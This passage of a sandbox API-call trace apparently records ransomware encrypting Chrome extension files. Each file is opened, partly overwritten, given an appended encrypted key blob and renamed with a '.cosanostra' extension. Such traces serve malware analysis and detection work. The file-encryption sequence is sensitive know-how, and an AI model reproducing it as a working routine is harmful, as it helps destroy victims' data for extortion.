Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.293] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 158 [0086.293] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.294] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff2e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.294] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xd2, lpNumberOfBytesWritten=0x26ff9c4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff9c4*=0xd2, lpOverlapped=0x0) returned 1 [0086.294] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.294] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff9c4, lpOverlapped=0x0 | out: lpBuffer=0x26ffa04*, lpNumberOfBytesWritten=0x26ff9c4*=0x4, lpOverlapped=0x0) returned 1 [0086.294] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff9c4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff9c4*=0x30, lpOverlapped=0x0) returned 1 [0086.294] CloseHandle (hObject=0x188) returned 1 [0086.294] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json.cosanostra")) returned 1 [0086.296] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa00 | out: pbBuffer=0x26ffa00) returned 1 [0086.296] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff9f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff9f8*=0x30) returned 1 [0086.296] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.297] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 155 [0086.297] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.298] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff45, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.298] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xbb, lpNumberOfBytesWritten=0x26ff9bc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff9bc*=0xbb, lpOverlapped=0x0) returned 1 [0086.298] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.298] WriteFile (in: hFile=0x188, lpBuffer=0x26ff9fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff9bc, lpOverlapped=0x0 | out: lpBuffer=0x26ff9fc*, lpNumberOfBytesWritten=0x26ff9bc*=0x4, lpOverlapped=0x0) returned 1 [0086.298] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff9bc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff9bc*=0x30, lpOverlapped=0x0) returned 1 [0086.299] CloseHandle (hObject=0x188) returned 1 [0086.299] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json.cosanostra")) returned 1 [0086.300] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9f8 | out: pbBuffer=0x26ff9f8) returned 1 [0086.300] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff9f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff9f0*=0x30) returned 1 [0086.300] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.301] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 156 [0086.301] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.301] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff39, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.301] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x26ff9b4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff9b4*=0xc7, lpOverlapped=0x0) returned 1 [0086.301] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.301] WriteFile (in: hFile=0x188, lpBuffer=0x26ff9f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff9b4, lpOverlapped=0x0 | out: lpBuffer=0x26ff9f4*, lpNumberOfBytesWritten=0x26ff9b4*=0x4, lpOverlapped=0x0) returned 1 [0086.302] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff9b4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff9b4*=0x30, lpOverlapped=0x0) returned 1 [0086.302] CloseHandle (hObject=0x188) returned 1 [0086.302] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json.cosanostra")) returned 1 [0086.303] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9f0 | out: pbBuffer=0x26ff9f0) returned 1 [0086.303] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff9e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff9e8*=0x30) returned 1 [0086.303] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.303] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 155 [0086.303] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.304] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff49, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.304] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xb7, lpNumberOfBytesWritten=0x26ff9ac, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff9ac*=0xb7, lpOverlapped=0x0) returned 1 [0086.304] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.304] WriteFile (in: hFile=0x188, lpBuffer=0x26ff9ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff9ac, lpOverlapped=0x0 | out: lpBuffer=0x26ff9ec*, lpNumberOfBytesWritten=0x26ff9ac*=0x4, lpOverlapped=0x0) returned 1 [0086.304] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff9ac, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff9ac*=0x30, lpOverlapped=0x0) returned 1 [0086.304] CloseHandle (hObject=0x188) returned 1 [0086.305] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json.cosanostra")) returned 1 [0086.306] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9e8 | out: pbBuffer=0x26ff9e8) returned 1 [0086.306] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff9e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff9e0*=0x30) returned 1 [0086.307] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.307] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 155 [0086.307] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.341] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff01, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.341] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x26ff9a4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff9a4*=0xff, lpOverlapped=0x0) returned 1 [0086.341] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.341] WriteFile (in: hFile=0x188, lpBuffer=0x26ff9e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff9a4, lpOverlapped=0x0 | out: lpBuffer=0x26ff9e4*, lpNumberOfBytesWritten=0x26ff9a4*=0x4, lpOverlapped=0x0) returned 1 [0086.341] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff9a4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff9a4*=0x30, lpOverlapped=0x0) returned 1 [0086.342] CloseHandle (hObject=0x188) returned 1 [0086.342] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json.cosanostra")) returned 1 [0086.343] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9e8 | out: pbBuffer=0x26ff9e8) returned 1 [0086.343] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff9e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff9e0*=0x30) returned 1 [0086.343] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.445] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 162 [0086.445] StrStrW (lpFirst="verified_contents.json", lpSrch=".txt") returned 0x0 [0086.484] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.484] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff9a4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff9a4*=0x2800, lpOverlapped=0x0) returned 1 [0086.485] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.485] WriteFile (in: hFile=0x184, lpBuffer=0x26ff9e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff9a4, lpOverlapped=0x0 | out: lpBuffer=0x26ff9e4*, lpNumberOfBytesWritten=0x26ff9a4*=0x4, lpOverlapped=0x0) returned 1 [0086.485] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff9a4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff9a4*=0x30, lpOverlapped=0x0) returned 1 [0086.485] CloseHandle (hObject=0x184) returned 1 [0086.486] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.cosanostra")) returned 1 [0086.488] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9e0 | out: pbBuffer=0x26ff9e0) returned 1 [0086.488] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff9d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff9d8*=0x30) returned 1 [0086.489] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.489] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 155 [0086.489] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.493] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffeb2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.493] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x26ff99c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff99c*=0x14e, lpOverlapped=0x0) returned 1 [0086.493] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.493] WriteFile (in: hFile=0x184, lpBuffer=0x26ff9dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff99c, lpOverlapped=0x0 | out: lpBuffer=0x26ff9dc*, lpNumberOfBytesWritten=0x26ff99c*=0x4, lpOverlapped=0x0) returned 1 [0086.493] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff99c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff99c*=0x30, lpOverlapped=0x0) returned 1 [0086.493] CloseHandle (hObject=0x184) returned 1 [0086.493] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json.cosanostra")) returned 1 [0086.501] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9d8 | out: pbBuffer=0x26ff9d8) returned 1 [0086.502] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff9d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff9d0*=0x30) returned 1 [0086.502] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.502] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 155 [0086.502] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.504] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffee7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.504] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x26ff994, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff994*=0x119, lpOverlapped=0x0) returned 1 [0086.504] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.504] WriteFile (in: hFile=0x184, lpBuffer=0x26ff9d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff994, lpOverlapped=0x0 | out: lpBuffer=0x26ff9d4*, lpNumberOfBytesWritten=0x26ff994*=0x4, lpOverlapped=0x0) returned 1 [0086.504] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff994, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff994*=0x30, lpOverlapped=0x0) returned 1 [0086.504] CloseHandle (hObject=0x184) returned 1 [0086.504] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 